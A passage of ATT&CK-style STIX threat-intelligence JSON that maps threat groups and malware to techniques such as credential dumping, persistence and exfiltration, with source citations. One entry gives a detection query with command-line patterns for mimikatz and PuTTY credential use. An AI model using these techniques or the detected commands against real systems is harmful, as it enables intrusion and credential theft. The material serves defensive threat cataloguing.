cultivated profile pages in Microsoft TechNet. To make profile pages appear more legitimate, [APT17](https://attack.mitre.org/groups/G0025) has created biographical sections and posted in forum threads.(Citation: FireEye APT17)", "relationship_type": "uses", "source_ref": "intrusion-set--090242d7-73fc-4738-af68-20162f7a5aae", "target_ref": "attack-pattern--cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fd9b9c3a-544b-43e1-b4f4-aab6e646eb31", "type": "relationship", "created": "2019-06-20T17:01:21.325Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Zebrocy May 2019", "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/", "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019."}], "modified": "2019-07-17T01:18:33.386Z", "description": "[Zebrocy](https://attack.mitre.org/software/S0251) has the capability to upload dumper tools that extract credentials from web browsers and store them in database files.(Citation: ESET Zebrocy May 2019)", "relationship_type": "uses", "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--fd9c0570-d19a-49b6-a354-d3eaa25b00f2", "created": "2022-10-13T14:55:53.764Z", "revoked": false, "external_references": [{"source_name": "Bitdefender FunnyDream Campaign November 2020", "description": "Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. 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(2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", "source_name": "Secureworks BRONZE BUTLER Oct 2017"}, {"url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan", "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.", "source_name": "Symantec Tick Apr 2016"}], "modified": "2019-03-22T19:57:37.434Z", "description": "(Citation: Secureworks BRONZE BUTLER Oct 2017)(Citation: Symantec Tick Apr 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", "target_ref": "tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fdaeae13-b9f2-4ae5-b4ae-c74fde73adcd", "type": "relationship", "created": "2019-06-05T17:05:57.793Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Fidelis njRAT June 2013", "url": "https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf", "description": "Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019."}], "modified": "2019-06-24T18:57:11.403Z", "description": "[njRAT](https://attack.mitre.org/software/S0385) can collect data from a local system.(Citation: Fidelis njRAT June 2013)", "relationship_type": "uses", "source_ref": "malware--d906e6f7-434c-44c0-b51a-ed50af8f7945", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fdb02bf4-a950-4ae7-b07c-a3ed0322ef6e", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET InvisiMole June 2018", "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/"}], "modified": "2020-03-17T00:09:25.851Z", "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can enumerate Registry values, keys, and data.(Citation: ESET InvisiMole June 2018)", "relationship_type": "uses", "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fdb054f1-0446-4af0-b11c-790fbf352014", "type": "relationship", "created": "2020-02-05T20:10:18.912Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-05T20:10:18.912Z", "relationship_type": "revoked-by", "source_ref": "attack-pattern--2169ba87-1146-4fc7-a118-12b72251db7e", "target_ref": "attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fdb22ee1-d90b-496b-a7f7-baf155a1930c", "type": "relationship", "created": "2021-03-01T14:07:36.959Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Proofpoint LookBack Malware Aug 2019", "url": "https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks", "description": "Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021."}], "modified": "2021-03-02T18:15:56.538Z", "description": "[LookBack](https://attack.mitre.org/software/S0582) has a function that decrypts malicious data.(Citation: Proofpoint LookBack Malware Aug 2019)", "relationship_type": "uses", "source_ref": "malware--c9ccc4df-1f56-49e7-ad57-b383e1451688", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fdbb45a4-1151-4c21-909c-1c653c883544", "type": "relationship", "created": "2021-03-01T14:07:36.916Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Proofpoint LookBack Malware Aug 2019", "url": "https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks", "description": "Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021."}], "modified": "2021-03-02T18:15:56.537Z", "description": "[LookBack](https://attack.mitre.org/software/S0582) side loads its communications module as a DLL into the <code>libcurl.dll</code> loader.(Citation: Proofpoint LookBack Malware Aug 2019)", "relationship_type": "uses", "source_ref": "malware--c9ccc4df-1f56-49e7-ad57-b383e1451688", "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fdbd14e9-fffa-4120-a979-24eead47ffa4", "type": "relationship", "created": "2022-01-10T19:52:49.069Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Prevailion DarkWatchman 2021", "url": "https://www.prevailion.com/darkwatchman-new-fileless-techniques/", "description": "Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022."}], "modified": "2022-01-11T16:03:18.767Z", "description": "[DarkWatchman](https://attack.mitre.org/software/S0673) uses JavaScript to perform its core functionalities.(Citation: Prevailion DarkWatchman 2021)", "relationship_type": "uses", "source_ref": "malware--63686509-069b-4143-99ea-4e59cad6cb2a", "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fdc0030c-ed38-49b0-afcc-266e19aa363e", "type": "relationship", "created": "2021-08-24T20:03:36.061Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Kobalos Feb 2021", "url": "https://www.welivesecurity.com/2021/02/02/kobalos-complex-linux-threat-high-performance-computing-infrastructure/", "description": "M.Leveille, M., Sanmillan, I. (2021, February 2). Kobalos \u2013 A complex Linux threat to high performance computing infrastructure. Retrieved August 24, 2021."}, {"source_name": "ESET Kobalos Jan 2021", "description": "M.Leveille, M., Sanmillan, I. (2021, January). A WILD KOBALOS APPEARS Tricksy Linux malware goes after HPCs. Retrieved August 24, 2021.", "url": "https://www.welivesecurity.com/wp-content/uploads/2021/01/ESET_Kobalos.pdf"}], "modified": "2021-10-18T23:21:30.384Z", "description": "[Kobalos](https://attack.mitre.org/software/S0641) can chain together multiple compromised machines as proxies to reach their final targets.(Citation: ESET Kobalos Feb 2021)(Citation: ESET Kobalos Jan 2021)", "relationship_type": "uses", "source_ref": "malware--9abdda30-08e0-4ab1-9cf0-d447654c6de9", "target_ref": "attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--fdc4c379-e6e6-4454-933d-2a9a4a78cf98", "created": "2017-12-14T16:46:06.044Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Cylance Cleaver", "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf", "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017."}], "x_mitre_deprecated": false, "revoked": false, "description": "[TinyZBot](https://attack.mitre.org/software/S0004) supports execution from the command-line.(Citation: Cylance Cleaver)", "modified": "2022-07-22T18:37:22.208Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fdc9c7e3-4467-4f57-af5b-156cf2f9d189", "type": "relationship", "created": "2019-01-30T18:58:04.035Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/", "source_name": "Unit42 Cannon Nov 2018"}], "modified": "2019-04-22T19:48:08.938Z", "description": "[Cannon](https://attack.mitre.org/software/S0351) adds the Registry key <code>HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon</code> to establish persistence.(Citation: Unit42 Cannon Nov 2018)", "relationship_type": "uses", "source_ref": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d", "target_ref": "attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--fdcd0f65-a087-453a-8f9f-ab8db0764492", "created": "2022-03-30T14:26:51.865Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T18:24:03.322Z", "description": "Monitor for newly executed processes that may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as RDP, telnet, SSH, and VNC. The adversary may then perform actions that spawn additional processes as the logged-on user.\n\nMalicious actors may rename built-in commands or external tools, such as those provided by SysInternals, to better\u00a0blend in\u00a0with the environment. In those cases, the file path name is arbitrary and may blend in well with the background. If the arguments are closely inspected, it may be possible to infer what tools are running and understand what an adversary is doing. When any legitimate software shares the same command lines, it must be whitelisted according to the expected parameters.\n\nAny tool of interest with commonly known command line usage can be detecting by command line analysis. Known substrings of command lines include\n\n- PuTTY\n- port forwarding\u00a0<code>-R * -pw</code>\n- secure copy (scp)\u00a0<code>-pw * * *@*</code>\n- mimikatz\u00a0<code>sekurlsa::</code>\n- RAR\u00a0<code>* -hp *</code>\n- Archive* a *\u00a0Additionally, it may be useful to find IP addresses in the command line\n- <code>\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}</code>\n\nAnalytic 1 - Suspicious Arguments\n\n<code>(source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"WinEventLog:Security\" EventCode=\"4688\") AND \nCommandLine=\"-R .* -pw\" OR \nCommandLine=\"-pw .* .* .*@.*\" OR \nCommandLine=\"sekurlsa\" OR \nCommandLine=\" -hp \" OR \nCommandLine=\".* a .*\" </code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fdcda836-4a21-45d2-8269-31b82aa3c08e", "type": "relationship", "created": "2017-05-31T21:33:27.049Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Mandiant No Easy Breach", "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016"}], "modified": "2019-07-25T14:25:53.116Z", "description": "[APT29](https://attack.mitre.org/groups/G0016) has bypassed UAC.(Citation: Mandiant No Easy Breach)", "relationship_type": "uses", "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--fdd3d41d-beca-4b12-9330-8f26dd82367c", "created": "2023-03-26T14:57:31.894Z", "revoked": false, "external_references": [{"source_name": "Volexity SolarWinds", "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020.", "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T14:57:31.894Z", "description": "During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used HTTP for C2 and data exfiltration.(Citation: Volexity SolarWinds)", "relationship_type": "uses", "source_ref": "campaign--808d6b30-df4e-4341-8248-724da4bac650", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--fdd492a3-197b-4663-95c6-25d972dd7088", "created": "2022-09-21T15:21:21.416Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Bitdefender FunnyDream Campaign November 2020", "description": "Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-10T16:23:17.460Z", "description": "During [FunnyDream](https://attack.mitre.org/campaigns/C0007), the threat actors used [Systeminfo](https://attack.mitre.org/software/S0096) to collect information on targeted hosts.(Citation: Bitdefender FunnyDream Campaign November 2020)", "relationship_type": "uses", "source_ref": "campaign--8d2bc130-89fe-466e-a4f9-6bce6129c2b8", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--fdd7f2b3-08e4-4f55-ba94-4b5e6d619da8", "created": "2022-09-30T20:00:58.555Z", "revoked": false, "external_references": [{"source_name": "Cylance Dust Storm", "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.", "url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-30T20:00:58.555Z", "description": "[Misdat](https://attack.mitre.org/software/S0083) has used Windows APIs, including `ExitWindowsEx` and `GetKeyboardType`.(Citation: Cylance Dust Storm) ", "relationship_type": "uses", "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fdde385f-3781-47fa-9cb7-ef7c5b903e63", "type": "relationship", "created": "2020-10-20T03:39:41.638Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-04-15T03:52:41.068Z", "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls. Efforts should focus on minimizing the amount and sensitivity of data available to external parties.", "relationship_type": "mitigates", "source_ref": "course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc", "target_ref": "attack-pattern--bbe5b322-e2af-4a5e-9625-a4e62bf84ed3", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fdde7cd5-dd87-4280-b2df-6bd01fae8ea6", "type": "relationship", "created": "2021-09-28T18:53:02.514Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Ferocious Kitten Jun 2021", "url": "https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/", "description": "GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}], "modified": "2021-10-15T15:03:46.319Z", "description": "[MarkiRAT](https://attack.mitre.org/software/S0652) can capture screenshots that are initially saved as \u2018scr.jpg\u2019.(Citation: Kaspersky Ferocious Kitten Jun 2021)", "relationship_type": "uses", "source_ref": "malware--532c6004-b1e8-415b-9516-f7c14ba783b1", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--fde26c5e-7f17-4119-b5d1-86a7fbe4a184", "created": "2024-04-04T18:02:50.559Z", "revoked": false, "external_references": [{"source_name": "Kersten Akira 2023", "description": "Max Kersten & Alexandre Mundo. (2023, November 29). Akira Ransomware. Retrieved April 4, 2024.", "url": "https://www.trellix.com/blogs/research/akira-ransomware/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-04T18:02:50.559Z", "description": "[Akira](https://attack.mitre.org/software/S1129) encrypts victim filesystems for financial extortion purposes.(Citation: Kersten Akira 2023)", "relationship_type": "uses", "source_ref": "malware--6f6b2353-4b39-40ce-9d6d-d00b7a61e656", "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fde62a7a-0ed1-4077-8275-ebb63eecdd2a", "type": "relationship", "created": "2020-03-17T17:23:51.732Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/PowerShellEmpire/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", "source_name": "Github PowerShell Empire"}], "modified": "2021-04-09T14:47:00.133Z", "description": "[Empire](https://attack.mitre.org/software/S0363) can leverage its implementation of [Mimikatz](https://attack.mitre.org/software/S0002) to obtain and use silver tickets.(Citation: Github PowerShell Empire)", "relationship_type": "uses", "source_ref": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", "target_ref": "attack-pattern--d273434a-448e-4598-8e14-607f4a0d5e27", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--fde8c63b-13e7-47d0-836f-f8b5291bf2bd", "created": "2022-09-26T15:21:10.923Z", "revoked": false, "external_references": [{"source_name": "Bitdefender FunnyDream Campaign November 2020", "description": "Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-26T15:21:10.923Z", "description": "[FunnyDream](https://attack.mitre.org/software/S1044) has the ability to discover application windows via execution of `EnumWindows`.(Citation: Bitdefender FunnyDream Campaign November 2020)", "relationship_type": "uses", "source_ref": "malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b", "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fdea1dc1-4b00-411e-a5d3-cd72688237b5", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Rancor Unit42 June 2018", "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"}], "modified": "2020-03-19T19:52:53.303Z", "description": "[PLAINTEE](https://attack.mitre.org/software/S0254) has downloaded and executed additional plugins.(Citation: Rancor Unit42 June 2018)", "relationship_type": "uses", "source_ref": "malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fded4f08-6cb0-4259-a6a9-f0d62537164f", "type": "relationship", "created": "2020-05-21T12:59:00.515Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Tropic Trooper May 2020", "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf", "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}], "modified": "2020-05-21T16:56:20.633Z", "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has attempted to transfer [USBferry](https://attack.mitre.org/software/S0452) from an infected USB device by copying an Autorun function to the target machine.(Citation: TrendMicro Tropic Trooper May 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--fdedfad5-5cb7-436a-8522-6df3f6de42b1", "created": "2019-05-24T17:57:36.683Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "SecureList Silence Nov 2017", "description": "GReAT. (2017, November 1). Silence \u2013 a new Trojan attacking financial organizations. Retrieved May 24, 2019.", "url": "https://securelist.com/the-silence/83009/"}, {"source_name": "Group IB Silence Sept 2018", "description": "Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020.", "url": "https://go.group-ib.com/report-silence-en?_gl=1*d1bh3a*_ga*MTIwMzM5Mzc5MS4xNjk4OTI5NzY4*_ga_QMES53K3Y2*MTcwNDcyMjU2OS40LjEuMTcwNDcyMzU1Mi41My4wLjA."}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-01-10T14:30:32.226Z", "description": "[Silence](https://attack.mitre.org/groups/G0091) has leveraged the Windows API, including using CreateProcess() or ShellExecute(), to perform a variety of tasks.(Citation: SecureList Silence Nov 2017)(Citation: Group IB Silence Sept 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fdf161e2-46dc-41ee-bec4-9b18c8b1e6d9", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT37 Feb 2018", "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}], "modified": "2019-09-09T19:12:32.900Z", "description": "(Citation: FireEye APT37 Feb 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", "target_ref": "malware--49abab73-3c5c-476e-afd5-69b5c732d845", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--fdf3767f-49ad-43f3-943c-486099ffa3a8", "type": "relationship", "created": "2021-04-06T12:22:23.718Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Aqua Kinsing April 2020", "url": 